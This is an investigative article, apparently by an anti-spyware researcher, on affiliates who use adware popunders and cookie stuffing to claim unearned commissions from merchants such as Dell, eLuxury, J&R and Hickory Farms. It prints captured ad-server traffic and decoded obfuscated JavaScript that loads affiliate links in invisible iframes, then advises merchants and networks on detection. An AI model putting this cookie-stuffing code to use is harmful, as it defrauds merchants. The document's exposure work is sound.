Here again, a rogue affiliate has placed ads through spyware — again without the merchant’s knowledge or approval. But notice the difference: In the Gateway example (above), the popup ad promoted a competitor of the site the user requested, whereas here the ad promotes the same site the user had already requested. What’s going on? Targeting Dell with Dell’s own affiliate link reveals an affiliate’s understanding that a user at Dell.com would probably most prefer to purchase from Dell, not Gateway. So the affiliate opens a Dell affiliate link — setting cookies such that if the user ultimately does purchase from Dell, the affiliate will get a commission. But the affiliate did nothing to facilitate the purchase or to fairly earn a commission; the users was already at Dell.com! Beyond cheating Dell, this affiliate also violated the CJ Publisher Code of Conduct for the reasons set out in the prior example.

Direct Revenue targeting code follows. Yellow highlighting marks the targeting (to dell.com), while red highlighting marks the affiliate ID number and green highlighting marks the command to open the popunder.

GET /imp/servlet/ImpServe?urlContext=http%3A%2F%2Fwww.dell.com%2Fcontent%2Fdefault.aspx%3Fc%3Dus%26cs%3D19%26l%3Den%26s%3Ddhs&domainContext=dell.com … HTTP/1.1

Host: xadsj.offeroptimizer.com

 
HTTP/1.1 200 OK

<BODY>
<title>—</title>
<SCRIPT LANGUAGE=”JavaScript”>

url=”http://service.bfast.com/bfast/click?bfmid=37628499&siteid=41115962&bfpage=banner1″;

winad=window.open(url, “_blank”, attrib);

Example: Unknown LinkShare Affiliate Targeting eLuxury via 180solutions

A popunder of Dell, purchased by a rogue affiliate and delivered via Direct A ‘double’ popup of eLuxury.com, purchased by a rogue affiliate and delivered via 180solutions as a user browses eLuxury. The popup claims commissions from eLuxury, via LinkShare, if a user ultimately makes a purchase from eLuxury. So eLuxury ends up paying affiliate commissions even when users have requested its site specifically and by name — a situation that would not otherwise entail paying affiliate commission.

When users visit eLuxury.com on PCs infected with 180solutions, users may receive popunders of the eLuxury site as reached through affiliate links. See screenshot at right, showing such a popup. Notice the resulting duplicate entries in the status bar (flagged at A), the creation of LinkShare cookies (B), and the second window just barely visible behind the new popup (C). (The usual 180solutions branding (in the browser title bar) was erased in the course of the LinkShare redirect.) See also a video of this popup, which presents the duplicate window particularly clearly.

As in the preceding examples, this affiliate has purchased ads through spyware — targeting the merchant’s web site with its own affiliate links. If a user browses to eLuxury on an infected computer, receives this popup, and makes a purchase, tracking systems at eLuxury and LinkShare will indicate that the affiliate has earned a commission — though in fact the affiliate did nothing to facilitate the purchase.

This affiliate’s actions entail multiple violations of the LinkShare Shopping Technologies Addendum (PDF). The affiliate has altered the user’s access, view, and usage of the merchant’s site, in violation of requirement 1.(i). The affiliate has purchased network traffic keyed to particular keywords in users’ requests, in violation of provision 6.5.(ii). Furthermore, 180solutions can trigger on traffic originating with other affiliates, thereby reducing their commissions in violation of 1.(ii).

180solutions targeting code follows, as observed via my network monitor. Yellow highlighting marks the targeting (to dell.com), while red highlighting marks the affiliate ID number.

POST /showme.aspx?keyword=eluxury&…

Host: tv.180solutions.com

 
HTTP/1.1 200 OK

<HTML>

ad_url: <input id=ad_url name=ad_url value=http://click.linksynergy.com/fs-bin/click?id=DSOXp2QDjbg&amp;offerid=31266.10000067&amp;type=4&amp;subid=0>

Example: MyGeek (LinkShare Affiliate) Targeting J&R via Direct Revenue

A popunder of J&R, purchased by MyGeek and delivered via Direct Revenue as a user browses jr.com. If a user ultimately makes a purchase from J&R, the popunder causes J&R to pay commission to the affiliate, via LinkShare. So J&R ends up paying affiliate commissions even when users have requested its site specifically and by name -- a situation that would not otherwise entail paying affiliate commission. A popunder of J&R, purchased by MyGeek and delivered via Direct Revenue as a user browses jr.com. If a user ultimately makes a purchase from J&R, the popunder causes J&R to pay commission to the affiliate, via LinkShare. So J&R ends up paying affiliate commissions even when users have requested its site specifically and by name — a situation that would not otherwise entail paying affiliate commission.

When users visit jr.com on PCs infected with Direct Revenue, users may receive J&R popunders. See screenshot at right, showing such a popunder.

Like the examples above, the popunder here is a popunder of the merchant’s own affiliate link — designed to claim affiliate commission from purchases that would have occurred even without the popunder. But here the popunder targeting is routed through an intermediary, MyGeek. Direct Revenue targeting code reveals what is occurring: First Direct Revenue opens a popunder (green highlighting) of a MyGeek URL (blue) (referencing MyGeek via IP address 66.179.234.169, which Whois confirms is indeed a MyGeek host). Then MyGeek redirects to LinkShare (red).

GET /a/Drk.syn?adcontext=http://www.jr.com/images/cart/btn_proceed_to_scheckout.gif& … HTTP/1.1

Host: btg.btgrab.com

 
HTTP/1.1 200 OK

adurl=http://66.179.234.169/cpv.jsp?s=7453&c=53491&p=110077&adultfilter=on&aid=586& …

 
 
GET /cpv.jsp?s=7453&c=53491&p=110077&adultfilter=on&aid=586& …

Host: 66.179.234.169

 
HTTP/1.1 302 Found

Location: http://click.linksynergy.com/fs-bin/stat?id=OAfBJvRKlyk&offerid=58654

That MyGeek performs such targeting is not entirely unknown. See a recent discussion at ABestWeb, with multiple participants reporting such observations. See also a cached MyGeek page (Google Cache copy, local copy) disclosing 180solusions and “OfferOptimizer” (Direct Revenue) as syndication partners. Nonetheless, MyGeek’s use of LinkShare affiliate links seems to entail multiple violations of LinkShare rules, exactly as set out in the preceding section.

Example: Wholesalingonline (LinkShare Affiliate) Targeting Hickory Farms via eXact Advertising

A popunder of Wholesalingonline.com, delivered by eXact Advertising's BullsEye as a user browses hickoryfarms.com. The Wholesalingonline popunder uses tricky cookie-stuffing methods to set Hickoryfarms cookies automatically. So if a user ultimately makes a purchase from Hickory Farms, the popunder causes Hickory Farms to pay commission to Wholesalingonline, via LinkShare. So Hickory Farms ends up paying affiliate commissions even when users have requested its site specifically and by name -- a situation that would not otherwise entail paying affiliate commission. A popunder of Wholesalingonline.com, delivered by eXact Advertising’s BullsEye as a user browses hickoryfarms.com. The Wholesalingonline popunder uses tricky cookie-stuffing methods to set Hickoryfarms cookies automatically. So if a user ultimately makes a purchase from Hickory Farms, the popunder causes Hickory Farms to pay commission to Wholesalingonline, via LinkShare. So Hickory Farms ends up paying affiliate commissions even when users have requested its site specifically and by name — a situation that would not otherwise entail paying affiliate commission.

When users visit hickoryfarms.com on PCs infected with eXact Advertising, users may receive Wholesalingonline.com popunders. See screenshot at right, showing such a popunder.

At first glance, the Wholesalingonline popunder looks innocuous — just a random web site hoping to reach visitors who requested Hickory Farms. But the Wholesalingonline page at issue is specifically designed to set Hickory Farms affiliate cookies, despite the lack of any visible Hickory Farms content within the site. (For background on such practices, see my cookie-stuffing page, reporting dozens of such examples, all occurring without the use of spyware or adware.)

The Wholesalingonline page at issue sets cookies in the following way: First, Wholesalingonline delivers a page of encoded gibberish JavaScript, instructing use of the JavaScript “unescape” command to recover JavaScript code from hex-encoded ASCII. A snipped of the encoded original:

<HTML><HEAD><TITLE>Cut Out the Middle Man with Warehousing Direct</TITLE><SCRIPT type=”text/javascript”><!–
document.write(unescape(“%3C%53%43%52%49%50%54%20%74%79%70%65%3D%22%74%65%78%74%2F%6A …

Decoding this block of code yields the following secondary decoder function, “q()”

<SCRIPT type=”text/javascript”><!– function q(s){var o=””,a=new Array(),w=””,e=0;for(i=0;i<s.length;i++){c=s.charCodeAt(i);c=c^30;w+=String.fromCharCode(c);if(w.length>80){a[e++]=w;w=””}}o=a.join(“”)+w;return o}//–></SCRIPT>

Using the q() function to decode the remainder of the page yields the following HTML contents:

<frameset rows=”0,100%” onLoad=”top.mainFrame.location=’http://www.wholesalingonline.com’ …>
<frame src=”http://208.55.59.48/41128/268749.htm” …>
<frame src=”about:blank” …>

Notice that the page creates a frameset with two rows. The first, suspiciously set to be invisible (0 pixels in height), loads content from a server at 208.55.59.48. The second, the only visible frame, loads the wholesalingonline.com home page.

Sure enough, my packet sniffer confirms that the 208.55.59.48 page was indeed loaded immediately thereafter. That page offers an extremely lengthy (88KB) encoded JavaScript of its own, but decoding reveals the cookie-stuffing code copied below. Yellow highlighting flags the creation of an array of LinkShare affiliate links (IDs in red). Green highlighting flags random selection of a one of the affiliate links (chosen based on the current time). Finally, an IFRAME (blue) embeds the affiliate link within the page — thereby invoking the affiliate link and setting cookies accordingly.

link = new initArray(
“http://click.linksynergy.com/fs-bin/click?id=7o6JnHbjuWM&offerid=6562.10000190&type=3&subid=0″,
“http://click.linksynergy.com/fs-bin/click?id=7o6JnHbjuWM&offerid=6562.10000190&type=3&subid=0″,
“http://click.linksynergy.com/fs-bin/click?id=7o6JnHbjuWM&offerid=6562.10000171&type=3&subid=0″,
“http://click.linksynergy.com/fs-bin/click?id=7o6JnHbjuWM&offerid=6562.10000148&type=3&subid=0″,
“http://click.linksynergy.com/fs-bin/click?id=7o6currJnHbjuWM&offerid=6562.10000036&type=3&subid=0″,
“http://click.linksynergy.com/fs-bin/click?id=7o6JnHbjuWM&offerid=6562.10000190&type=3&subid=0″
);
 
var currentdate = new Date();
var core = currentdate.getSeconds() % link.length;
var ranlink = link[core];
 
document.write(‘<DIV align=center><IFRAME SRC=”‘ +ranlink+ ‘” WIDTH=0 HEIGHT=0 FRAMEBORDER=0 scrolling=”no”></IFRAME></a></DIV>’);

Examination of my packet log confirms that a LinkShare affiliate link was ultimately invoked in exactly the way that this code specifies. Notice HTTP Referer header, bearing the suspect 208.55.59.48 referring URL identified above (green).

GET /fs-bin/click?id=7o6JnHbjuWM&offerid=6562.10000036&type=3&subid=0 HTTP/1.1

Referer: http://208.55.59.48/41128/268749.htm

Wholesalingonline’s methods are clearly more sophisticated than the other affiliates shown above; the multiple levels of encoding, obfuscation, framesets, randomization, and other trickery reveal Wholesalingonline’s desire not to get caught. But ultimately Wholesalingonline’s strategy is identical to the others: To make a merchant’s tracking system think that a user arrived at a merchant through its affiliate tracking link, such that a commission should be paid, when in fact no such commission is in order.

Additional Examples

I have been documenting examples of this behavior since spring 2004, and I have literally hundreds of examples on file, reflecting targeting of most major affiliate merchants. The examples above happen to focus on targeting using notorious advertising software from Direct Revenue, 180solutions, and eXact Advertising, but similar targeting remains widespread using pop-ups from ContextPlus, Kvmedia, and numerous others.

What Merchants Should Do

The commissions at issue are ultimately paid by merchants. Sophisticated, dedicated merchants can detect these fraudulent claims — and refuse to pay the commissions at issue.

Some merchants look to networks to identify and block improper affiliate actions. But as shown in the examples above and as discussed below, networks have failed to address this problem. In addition, independent merchants (those who recruit affiliates directly, without using an afiliate network) have no network to assist them in fraud prevention — meaning they’re all the more vulnerable to rogue affiliates.

As a first step in preventing affiliates from buying traffic from spyware vendors, merchants should specifically prohibit this practice, via new provisions in their affiliate terms & conditions. Merchants should also examine the affiliates who apply to their affiliate programs. But even careful screening of affiliates’ applications and sites can’t detect all rogue affiliates; some affiliates are entirely legitimate but for their use of spyware. Where an affiliate combines a legitimate affiliate web site with additional traffic purchased from a spyware vendor, mere examination of the affiliate’s web site will not reveal the spyware traffic.

Some merchants seek out rogue affiliates by looking for transactions with missing HTTP Referer headers. When a user clicks from one web site to another, the second server generally receives the URL of the originating page on the first server — the “HTTP Referer.” But when a page is loaded by spyware, i.e. as an unrequested popup, the referrer field is blank. So affiliates with blank refererrs often turn out to be getting traffic from popups rather than from bona fide clicks within affiliates’ web pages. (That said, this method is imperfect too: Some popups submit fake referrer header data.)

These days, savvy merchants conduct testing of various spyware programs to identify rogue affiliates. It’s remarkably cheap to buy a few spare machines and infect them with a mix of spyware. For best results, merchants need to add packet sniffers or other detailed network logging, and all infected machines should be kept outside the corporate firewall. But with this equipment on hand, finding spyware-driven affiliates can require only a bit of browsing.

Other merchants hire outsiders to do this work. I provide this service to a few merchants, but there are plenty of other choices too. Some merchants even offer bounties (example: provision 3.b) to those who detect and report affiliates buying spyware traffic.

What Networks Should Do

Affiliate networks frequently boast of the quality of their affiliates. Commission Junction claims to “continually screen the network” for rogue affiliates, and to “monitor … all activity for signs of non-compliant client activity.” LinkShare claims that its network features “appropriate” affiliates. But in fact affiliate networks are plagued by affiliates whose practices defraud merchants rather than benefit them. Furthermore, despite their claims of quality, networks could do far more to eliminate rogue affiliates.

Stopping affiliates’ use of spyware must begin with comprehensive testing. In hands-on testing in my lab, I have documented literally hundreds of rogue affiliates — often dozens of different such affiliates in a single week. (See the examples above, as well as ten examples I posted during summer 2004.)

Beyond hands-on testing, efficient compliance requires special software to identify rogue affiliates automatically. I wrote such software earlier this year, and when I run this software against major adware programs, I often uncover dozens or scores of new rogue affiliates. In May, I posted summary results — analyzing 157,083 pop-up ads then shown by 180solutions, and finding that 686 claimed commissions via Commission Junction. (Others claimed commission via LinkShare, Performics, and numerous smaller or independent affiliate programs.) With automated testing methods now available, affiliate networks cannot credibly claim that large-scale testing is impractically difficult or unreasonably time-consuming.

It’s hard to know what testing methods affiliate networks actually use to conduct their testing: Networks usually treat their testing methods as confidential, either for competitive reasons or to avoid assisting would-be fraudsters. I sense that networks do do some hands-on testing, but their efforts may be less than merchants hope (especially given the size of networks’ fees). I don’t hear talk of affiliate networks running any automated testing of spyware programs. In any event, the scope of the spyware-affiliate problem reflects networks’ failure to resolve this issue: If networks were predictably catching affiliates who buy traffic from spyware, and if networks were predictably canceling any commissions claimed via such methods, scores of affiliates wouldn’t be continuing to attempt these methods.

Affiliate networks also need to impose tough penalties on those affiliates caught breaking the rules. For one, networks should take action promptly, not allow further commissions to be paid. But it’s not enough just to cancel current commissions: If breaking the rules yields only a slap on the wrist, then affiliates will continue the spyware assault, earning large profits until they’re ultimately caught. Instead, affiliate networks should get tough on spyware — demand repayment of commissions previously paid, to eliminate affiliates’ incentive to attempt to buy spyware traffic.

The more affiliate merchants pay out in commission, the larger merchants’ fees to affiliate networks. So networks have a clear incentive to look the other way, allowing spyware fraud to continue, with merchants paying the bill. But networks should not overplay their hand. It is at best unseemly for networks to profit when merchants are defrauded by rogue affiliates. Furthermore, the perception of spyware fraud in leading affiliate networks has created an opportunity for spyware and adware-free networks — Kowabunga, ShareASale, and others, as well as newcomer MPORT (which recently launched its network with the promise of blocking adware).

Last week’s announcement of LinkShare’s acquisition by Japanese portal Rakuten recalls the underlying promise of affiliate marketing. There is real value in affiliate relationships, and Rakuten certainly doesn’t intend to pay $425 million for a share in the spyware business. But does Rakuten understand the extent to which LinkShare funds payments to vendors who install advertising software without users’ consent? The extent to which LinkShare has failed to put a check on these behaviors? I’m not sure. Rakuten should demand better — and so should the merchants who ultimately pay for this mess.